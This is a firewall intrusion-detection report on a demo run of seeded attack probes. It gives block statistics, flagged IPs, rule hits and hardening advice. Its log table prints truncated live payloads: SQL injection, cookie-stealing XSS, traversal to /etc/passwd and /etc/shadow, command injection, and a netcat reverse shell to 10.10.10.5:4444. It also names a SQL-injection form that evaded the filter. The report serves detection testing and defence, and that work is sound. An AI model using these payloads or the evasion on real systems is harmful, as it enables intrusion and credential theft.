SentinelShield — Intrusion Detection & Web Protection Report

Generated 2026-10-20 22:42:14 | source `logs.db`

Total Requests	Blocked	Flagged	Allowed	Flagged IPs
57	29	1	27	9

30 of **57** requests (52%) were malicious or abusive and were blocked or flagged by the WAF before reaching the origin.

1. Detection Summary by Attack Category

Attack Category	Detected	Share
Rate Limit / Abuse	15	50.0%
SQL Injection	4	13.3%
Cross-Site Scripting (XSS)	4	13.3%
LFI / Directory Traversal	3	10.0%
Command Injection	3	10.0%
Suspicious Encoding	1	3.3%
TOTAL	30	100%

2. Repeatedly Flagged IPs

IP Address	Events	Blocked
203.0.113.66	15	14
51.79.120.3	3	3
194.26.29.113	3	3
185.199.108.153	3	3
103.44.55.1	2	2
91.203.145.7	1	1
91.203.145.6	1	1
45.132.88.7	1	1
10.0.0.77	1	1

3. Detected Attacks & Triggering Signature

Rule ID	Category	Times Fired
RATE-001	Rate Limit / Abuse	15
CMDI-001	Command Injection	3
SQLI-002	SQL Injection	2
XSS-001	Cross-Site Scripting (XSS)	2
XSS-002	Cross-Site Scripting (XSS)	2
LFI-001	LFI / Directory Traversal	2
SQLI-001	SQL Injection	1

Rule ID	Category	Times Fired
LFI-003	LFI / Directory Traversal	1
ENC-001	Suspicious Encoding	1
SQLI-004	SQL Injection	1

Time	IP	Path	Category	Verdict
22:41:56	103.44.55.1	/search?q=%27+UNION+SELECT+username%2Cpassw	SQL Injection	BLOCKED
22:41:56	103.44.55.1	/login?next=%27+OR+1%3D1--	SQL Injection	BLOCKED
22:41:56	45.132.88.7	/login	SQL Injection	BLOCKED
22:41:56	51.79.120.3	/search?q=%3Cscript%3Edocument.cookie%3C%2Fs	Cross-Site Scripting (XSS)	BLOCKED
22:41:56	51.79.120.3	/search?q=%3Cimg+src%3Dx+onerror%3Dalert%281	Cross-Site Scripting (XSS)	BLOCKED
22:41:56	51.79.120.3	/search?q=javascript%3Aalert%28document.cookie	Cross-Site Scripting (XSS)	BLOCKED
22:41:56	194.26.29.113	/view?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd	LFI / Directory Traversal	BLOCKED
22:41:56	194.26.29.113	/view?file=..%252f..%252f..%252fetc%252fshadow	LFI / Directory Traversal	BLOCKED
22:41:56	194.26.29.113	/view?file=php%3A%2F%2Ffilter%2Fconvert.base64	LFI / Directory Traversal	BLOCKED
22:41:56	185.199.108.153	/search?q=%3B+cat+%2Fetc%2Fpasswd	Command Injection	BLOCKED
22:41:56	185.199.108.153	/search?q=%7C+whoami	Command Injection	BLOCKED
22:41:57	185.199.108.153	/search?q=%24%28nc+10.10.10.5+4444+-e+%2Fbin	Command Injection	BLOCKED
22:41:57	91.203.145.6	/search?q=%25253Cscript%25253Ealert%25281%25	Cross-Site Scripting (XSS)	BLOCKED
22:41:57	91.203.145.7	/search?q=%01%02%03%04%05%06%07%08%09%0A%0B%	Suspicious Encoding	BLOCKED

… and 16 more (see report.md for the full chronological list).

4. False Positives / False Negatives

Metric	Count
Seeded probes evaluated	57
True positives (correctly detected)	29
False positives (benign but blocked)	1
False negatives (malicious but allowed)	1
Brute-force burst stopped?	YES

False positives

Payload	Actual	Cause
`search?q=how to drop table in sql tutorial`	BLOCKED	innocent search containing SQL keywords (expected FP)

False negatives

Payload	Actual	Evasion technique
`search?q='OR(1=1)AND'1'='1`	ALLOWED	whitespace-free MySQL tautology — evades literal-whitespace signatures (expected FN)

5. Security Recommendations

1. Use parameterised queries / ORM for all DB access (the demo login concatenates SQL — CWE-89).
2. Apply contextual output encoding on reflected input and deploy a strict CSP (CWE-79).
3. Canonicalise and allow-list file paths; reject traversal after realpath() (CWE-22).

4. Never build shell commands from user input — use argv arrays (CWE-78).
5. Keep rate limiting (20/10s, 30s cooldown); add exponential backoff and persistent IP blocklists.
6. Normalise input (comments, whitespace, double-encoding) before matching to reduce both FP and FN rates.
7. Layer WAF controls with HSTS, strict CSP and patch cycles.

Report generated by SentinelShield report.py